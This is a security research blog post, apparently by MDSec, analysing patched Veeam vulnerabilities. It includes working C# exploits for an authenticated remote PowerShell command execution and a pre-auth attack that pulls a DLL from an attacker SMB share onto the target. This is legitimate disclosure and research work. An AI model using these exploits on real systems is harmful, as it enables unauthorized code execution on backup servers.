ActiveBreach

ABC-Code Execution for Veeam

This blog post details several recently patched vulnerabilities in the Veeam Backup & Replication and Veeam Agent for Microsoft Windows. We’ll detail MDSec’s process for identifying these 1Day vulnerabilities, writing working exploit code and considerations for further weaponisation. When combined, these bugs can be exploited by an unauthenticated attacker to execute arbitrary code as Administrator on an affected system.

CVE-2022-26503 (LPE)

This vulnerability in Veeam Agent for Microsoft Windows allows local privilege escalation. An attacker who successfully exploited this vulnerability could run arbitrary code with LOCAL SYSTEM privileges.

Veeam official KB mentions:

Below is the official summary of the published CVE by Veeam, and discovered by Nikita Petrov.

Veeam Agent for Microsoft Windows uses Microsoft .NET data serialization mechanisms. A local user may send malicious code to the network port opened by Veeam Agent for Windows Service (TCP 9395 by default), which will not be deserialized properly.

The Patch:

After recovering the patched and the most recent vulnerable versions of Veeam, MDSec performed a patch diffing across the binaries. The implemented patch showed the classic hallmarks of deserialization:

The .NET Framework remoting provides two levels of automatic deserialization, Low and Full. The Full deserialization level supports automatic deserialization of all types that remoting supports, in all situations TypeFilterLevel used to be Full.

Analysis:

Reviewing the process behind the specified port results in identifying the Veeam.EndPoint.Service.exe:

Searching for the affected System.Runtime.Remoting.Channels.ChannelService.RegisterChannel class in the disassembled binary reveals the below result:

As shown in the disassembled class, upon service start several methods get called within OnStart which ultimately results in a call to CSrvTcpChannelRegistration which registers a channel of type TCP with TypeFilterLevel set to Full.

Reviewing the Veeam.EndPoint.Service.exe binary indicates registration of the VeeamService for .NET Remoting:

Analysing list of processes communicating with the registered channel results in identifying the Veeam.EndPoint.Tray.exe process, which is ultimately used by the Tray process:

Reviewing the modules loaded by the Tray process highlights the use of the Veeam.Common.Remoting.dll DLL:

Analysing the Veeam.EndPoint.Tray.exe can aide in producing sample TcpClientChannel client as any communications will need to respect the appropriate protocols for interacting with the service over .NET remoting:

After identifying the channel registration code, two pieces of information were required in order to exploit .NET Remoting, details on the ServiceNameand TCP port or named pipe (IPC).

To find this we used InspectAssembly, a great tool by Matt Hand, which uses Mono.Cecil for parsing the target assembly for calls to ChannelServices.RegisterChannel and more.

Initially, MDSec used this tool to identify one of the pieces of information which is whether the application registers the channel over IPC or TCP:

However, further static analysis was required for identifying the Service object uri for interacting with the target service.

Initial Thought

Initially, we tried to follow the InspectAssembly path and add a signature for extracting the service name and other information by parsing a target assembly CIL. Assuming the scenario for the Veeam Service, the call to RegisterWellKnownServiceType is as follows:

Our initial assumption to achieve this was to tweak InspectAssembly to the below code:

This will inspect the IL opcodes for a call instruction and if its operand contains RegisterWellKnownServiceType, and the previous IL is a ldstr instruction, it will show the result as toString(), producing the following:

However, shortly after we discovered that this was not suitable for all test cases and the tool hit an edge case where the service name was not correctly extracted after we’d edited the Veeam code to use a string variable instead of a literal when calling RegisterWellKnownServiceType:

This would ultimately lead to IL code similar to the following:

As illustrated above, the initial ldc.i4.1 does not have ldstr preceding it anymore and now has ldloc.0 which means the instruction.Previous.Previous.Operand.ToString() will fail resulting in the tool not finding the Service name.

With this in mind. an alternate approach was required, static parsing of IL codes is not the solution. It’s also worth mentioning we attempted to analyse the system behaviour when a .NET assembly tries registering a .NET Remoting channel, whether there are any registry changes or file system changes but this was equally unsuccessful:

MDSec Channel Guide:

To solve this challenge, we ended up developing a C-Sharp tool named Channel Guide. Channel Guide can be used by researchers to extract information about processes using .NET Remoting:

This tool will inject a Managed DLL to the selected process (supports both 64 and 32 bits) and invokes the injected DLL to extract .NET Remoting information during runtime. The Injected DLL uses the System.Runtime.Remoting.Channels.ChannelServices::get_RegisteredChannels() class which Microsoft has documented. A simple example of injecting Channel Guide in to Veeam is shown below:

The following code is a simplified sample of the code that was injected to recover the .NET Remoting information:

using System;
using System.IO;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Text;

namespace ClassLibrary2
{
	internal static class Class1
	{
		private static void CHGuide2()
		{
			StringBuilder stringBuilder = new StringBuilder();
			IChannel[] registeredChannels = ChannelServices.RegisteredChannels;
			stringBuilder.AppendLine("[+] Number of Channels " + registeredChannels.Length.ToString());
			for (int i = 0; i < registeredChannels.Length; i++)
			{
				stringBuilder.AppendLine("[*] Channel-Name: " + registeredChannels[i].ChannelName);
				stringBuilder.AppendLine("[*] Priority: " + registeredChannels[i].ChannelPriority.ToString());
				stringBuilder.AppendLine("[*] Type: --> " + registeredChannels[i].GetType().ToString());
				stringBuilder.AppendLine(ObjectDumper.Dump(registeredChannels[i]));
			}
			stringBuilder.AppendLine("[+] Registered-Types:");
			stringBuilder.AppendLine("\\t[*] RegisteredActivatedClientTypes: \\n\\n" + RemotingConfiguration.GetRegisteredActivatedClientTypes().Dump());
			stringBuilder.AppendLine("\\t[*] RegisteredActivatedServiceTypes: \\n\\n" + RemotingConfiguration.GetRegisteredActivatedServiceTypes().Dump());
			stringBuilder.AppendLine("\\t[*] RegisteredWellKnownClientTypes: \\n\\n" + RemotingConfiguration.GetRegisteredWellKnownClientTypes().Dump());
			stringBuilder.AppendLine("\\t[*] RegisteredWellKnownServiceTypes: \\n\\n" + RemotingConfiguration.GetRegisteredWellKnownServiceTypes().Dump());
			File.WriteAllText(string.Concat(new string[]
			{
				"C:\\\\windows\\\\temp\\\\channel-guide\\\\",
				AppDomain.CurrentDomain.FriendlyName,
				"-",
				Guid.NewGuid().ToString(),
				".txt"
			}), stringBuilder.ToString());
		}

		private static int Main(string name)
		{
			Class1.CHGuide2();
			return 0;
		}
	}
}

Exploitation:

Putting these pieces together, we were able to craft a weaponised exploit to exploit the deserialisation issue in Veeam. It’s also worth mentioning that James Forshaw has already put together a great tool when it comes to exploitation of .NET Remoting and provided significant inspiration for our exploit which is demonstrated below:

We’ve explicitly focussed on documenting the vulnerability research process as opposed to exploitation as while collating our research y4er made a great post documenting the exploit.

CVE-2022-26504 (RCE, low domain user)

CVE-2022-26504 is a vulnerability in Veeam Backup & Replication, a component used for Microsoft System Center Virtual Machine Manager (SCVMM) integration that allows domain users to execute malicious code remotely. This may lead to gaining control over the target system.

Below is the official summary of the CVE published by Veeam, the vulnerability was found by an anonymous researcher.

The vulnerable process Veeam.Backup.PSManager.exe (TCP 8732 by default) allows authentication using non-administrative domain credentials. A remote attacker may use the vulnerable component to execute arbitrary code.

The Patch:

Analysis of the patch indicates there were no Authorization checks in place for the exposed NetTcpBinding:

The CheckAccessCore method is called by the Windows Communication Foundation (WCF) infrastructure each time an attempt to access a resource is made. The method returns true or false to allow or deny access, respectively.

This class is responsible for evaluating all policies (rules that define what a user is allowed to do), comparing the policies to claims made by a client, setting the resulting AuthorizationContext to the ServiceSecurityContext, and providing the authorization decision whether to allow or deny access for a given service operation for a caller.

The ServiceAuthorizationManager is part of the WCF Identity Model infrastructure. The Identity Model enables you to create custom authorization policies and custom authorization schemes. For more information about how the Identity Model works, see Managing Claims and Authorization with the Identity Model.

The default client credential type for NetTcpBinding is Windows Authentication. For Windows Authentication to work both client and server must be in the same domain, or mutually trusting domains. If both client and server were on the same domain, WCF would handle the mechanics of Windows Authentication. And when both client and server are on the same machine they are effectively within the same domain, so Windows can use its own mechanisms to handle the encryption and decryption. It will only do this within mutually trusting domains.

Analysis:

So far we know we can connect to the NetTcpBinding endpoint, now it’s a question of what can go wrong, this depends on what ServiceEndpoint has been exposed

serviceHost.AddServiceEndpoint(typeof(IPSInvokerService), netTcpBinding, uri);

We can quickly see the IPSInvokerService (stands for Powershell Invoker?) is being registered as the ServiceEndpoint:

Analysis shows the class Veeam.Backup.PSManager.CpsInvokerService implements the IPSInvokerService interface

Attack Surface:

now that we know which class implemented the exposed endpoint, we can quickly see which methods the interface exposes that can be called:

After analysing most of the available methods, we selected a good candidate which is InvokeVmm:

This methods accepts multiple parameters as shown above; first it will call the WrapCall function with server of type string and credentials of type CCredential and if WrapCall is successful, then InvokeVMM gets called.

Lets analyse credentials:

When instantiaing an object of this class you can provide parameters such as userName,password,etc. but as you can see the constructor will be called with some default parameters if nothing has been provided which makes the final exploit easier by just calling this class with no parameters.

Now that we analysed CCredentials, lets continue to WrapCall method:

It will use the server and credentials to call GetConnection:

GetConnection then calls this._cache.GetConnection:

GetOrCreateConnection creates an AppDomain which represents an application domain, an isolated environment where applications execute. Veeam goes on to load the Veeam.Back.PSManager assembly into the AppDomain and executes GetServerVersion and GetClientVersion:

GetServerVersion then calls GetVmmServerVersion:

GetVmmServerVersion contains a important call to GetVmmServerVersion:

This function will try to execute the Get-SCVMMServer cmdlet:

Unfortunately this functions limits the exploit as mentioned in Veeam official KB:

NOTE: The default Veeam Backup & Replication installation is not vulnerable to this issue. Only Veeam Backup & Replication installations with an SCVMM server registered are vulnerable.

This is because the Get-SCVMMServer cmdlet does not exist on Windows server by default and you need to have Microsoft SCVMM installed so this should be noted as mentioned in the official Veeam KB.

As the cmdlet does not exist on the targeting Windows server it will cause an exception failing the initial WrapCall which will cause the InvokeVmm method to fail as well.

However, let’s take a closer look at the InvokeVmm method:

As noted above, it will accept a number of parameters, commandName, parameterName and parameterValue which it then passes to System.Management.Automation.Runspaces.Command to create a command object. It also adds a parameter named VMMServer which it then passes it to the Invoke method.

Invoke will then return a PSObject collection:

Analysing the InvokeCommandInternal method we see the following:

It will receive the Command object and creates a pipeline pre-filled with a Command object for the specified command parameter, which will then be invoked using pipeline.Invoke leading to code execution

Exploitation:

MDSec created the following exploit to demonstrate this vulnerability:

static void Main(string[] args)
{
	string text = "net.tcp://192.168.56.108:8732/InvokerWrapperService";
	Console.WriteLine("Press enter to connect to {0}", text);
	Console.ReadLine();
	ChannelFactory<IPSInvokerService> channelFactory = new ChannelFactory<IPSInvokerService>(new NetTcpBinding());
	string commandName = "powershell.exe";
	string parameterName = "-c ";
	string parameterValue = "calc.exe";
	EndpointAddress address = new EndpointAddress(text);
	IPSInvokerService ipsinvokerService = channelFactory.CreateChannel(address);
	CCredentials credentials = new CCredentials();
	if (ipsinvokerService != null)
	{
		ipsinvokerService.InvokeVmm("servervmm.sinsinology.local", credentials, commandName, parameterName, parameterValue);
	}
	Console.WriteLine("Press enter to exit...");
	Console.ReadLine();
}

Let’s take a look at this exploit in action:

CVE-2022-26500 | CVE-2022-26501 (Pre-Auth RCE)

Firstly, another shout out to Nikita Petrov for discovering this interesting vulnerability.

The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated users to access internal API functions. A remote attacker may send input to the internal API which may lead to uploading and executing of malicious code.

Exploitation of these two CVEs has been explained very well by y4er a security researcher, as such we will avoid reiterating over this explanation. Although, in the analysis he mentions a limitation for getting shell:

At present, only the existing files on the server can be copied, and the file name is controllable, but the content of the file is not controllable. How to getshell?

In summary, the researcher goes on to exploit this issue by leaking the web.config file and uses it to perform deserialization using the VIEWSTATE to achieve code execution.

MDSec investigated this limitation and found out it’s possible to remove this limitation and control both file name and its content. Let’s take a closer look at the patch:

The patch contains a newly added function named ValidateSourcePath:

This functions makes a call to ValidateWindowsLocalPath:

The patch quickly reveals it was possible to provide a SMB path which means it was possible for an attacker to specify remote files to be downloaded from a remote SMB share:

In order to improve the exploit and control what file gets copies and from where, the request needs to contain 2 values, IsWindows and IsFix need to be True as shown in the above picture. Finally, the provided paths in the payload will reach UploadWindowsFix which can copy files from remote SMB shares:

Exploit:

Putting all this together, MDSec produced the following exploit code to demonstrate the vulnerability:

internal class Program
    {
        static TcpClient client = null;

        static void Main(string[] args)
        {
            string guidKey = String.Format("{{{0}}}", Guid.NewGuid().ToString());
            IPAddress ipAddress = IPAddress.Parse(args[0]);
            IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
            client = new TcpClient();
            client.Connect(remoteEP);
            Console.WriteLine("Client connected to {0}.", remoteEP.ToString());

            NetworkStream clientStream = client.GetStream();
            NegotiateStream authStream = new NegotiateStream(clientStream, false);
            try
            {
                NetworkCredential netcred = new NetworkCredential("", "");
                authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
                CInputXmlData FIData = new CInputXmlData("FIData");
                CInputXmlData FISpec = new CInputXmlData("FISpec");
                FISpec.SetInt32("FIScope", 190);
                FISpec.SetGuid("FISessionId", Guid.Empty);
                FISpec.SetInt32("FIMethod", 25);
                FISpec.SetString("SystemType", "WIN");
                FISpec.SetString("Host", "127.0.0.1");
                IPAddress[] HostIps = new IPAddress[] { IPAddress.Loopback };
                String[] strAddrs = (from cad in HostIps select cad.ToString()).ToArray();
                FISpec.SetStrings("HostIps", strAddrs);
                FISpec.SetString("User", SStringMasker.Mask("", guidKey));
                FISpec.SetString("Password", SStringMasker.Mask("", guidKey));
                FISpec.SetString("TaskType", "Package");
                FISpec.SetString("FixProductType", "");
                FISpec.SetString("FixProductVeresion", "");
                FISpec.SetUInt64("FixIssueNumber", 0);
                FISpec.SetString("SshCredentials", SStringMasker.Mask("", guidKey));
                FISpec.SetString("SshFingerprint", "");
                FISpec.SetBool("SshTrustAll", true);
                FISpec.SetBool("IsWindows", true);
                FISpec.SetBool("IsFix", true);
                FISpec.SetBool("CheckSignatureBeforeUpload", false);
                FISpec.SetEnum<ESSHProtocol>("DefaultProtocol", ESSHProtocol.Rebex);
                FISpec.SetString("FileRelativePath", "FileRelativePath");
                FISpec.SetString("FileProxyPath", @"\\\\192.168.56.1\\payload\\VeeamDeploymentDll.dll");
                FISpec.SetString("FileRemotePath", @"C:\\poc.dll");
                FIData.InjectChild(FISpec);

                Console.WriteLine(FIData.Root.OuterXml);

                new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);

                string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
                Console.WriteLine("response:");
                Console.WriteLine(response);
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
            finally
            {
                authStream.Close();
            }
            Console.ReadKey();

        }

    }

This post was written by Sina Kheirkhah.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2024 MDSec